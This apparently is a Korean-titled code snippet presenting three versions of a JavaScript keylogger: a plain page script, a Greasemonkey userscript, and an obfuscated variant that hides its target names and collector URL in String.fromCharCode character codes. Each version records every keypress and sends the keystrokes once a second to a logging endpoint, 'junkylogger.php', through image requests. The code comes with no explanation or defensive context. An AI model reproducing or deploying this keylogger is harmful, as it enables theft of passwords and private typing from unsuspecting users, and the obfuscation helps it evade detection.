Javascript Keylogger 예제

var keys='';

document.onkeypress = function(e) {

get = window.event?event:e;

key = get.keyCode?get.keyCode:get.charCode;

key = String.fromCharCode(key);

keys+=key;

}

window.setInterval(function(){

new Image().src = 'http://localhost/junkylogger.php?keys='+keys;

keys = '';

}, 1000);

GM_setValue('keys', '');

unsafeWindow.onkeypress = function(e) {

eventobj = window.event?event:e;

key = eventobj.keyCode?eventobj.keyCode:eventobj.charCode;

keys = GM_getValue('keys');

keys+= String.fromCharCode(key);

GM_setValue('keys', keys);

}

window.setInterval(function(){

new Image().src = 'http://localhost/junkylogger.php?keys='+GM_getValue('keys');

GM_setValue('keys', '');

}, 1000);

window.wrap = window;

wrap.strf = String.fromCharCode;

wrap.wind = strf(117,110,115,97,102,101,87,105,110,100,111,119);

wrap.ev   = strf(111, 110, 107, 101, 121, 112, 114, 101, 115, 115);

GM_setValue('q','');

Function('func', wind+"."+ev+" = func")(function(e) {

e=window.event?window.event:e;

k=e.charCode?e.charCode:e.keyCode;

k=GM_getValue('q')+strf(k);

GM_setValue('q', k);

});

wrap.loc = strf(104, 116, 116, 112, 58, 47, 47, 108, 111, 99, 97, 108, 104);

wrap.loc+= strf(111, 115, 116, 47, 106, 117, 110, 107, 121, 108, 111, 103, 103, 101);

wrap.loc+= strf(114, 46, 112, 104, 112, 63, 107, 101, 121, 115, 61);

window.setInterval(function(){new Image().src=wrap.loc+GM_getValue('q');GM_setValue('q','')},1000);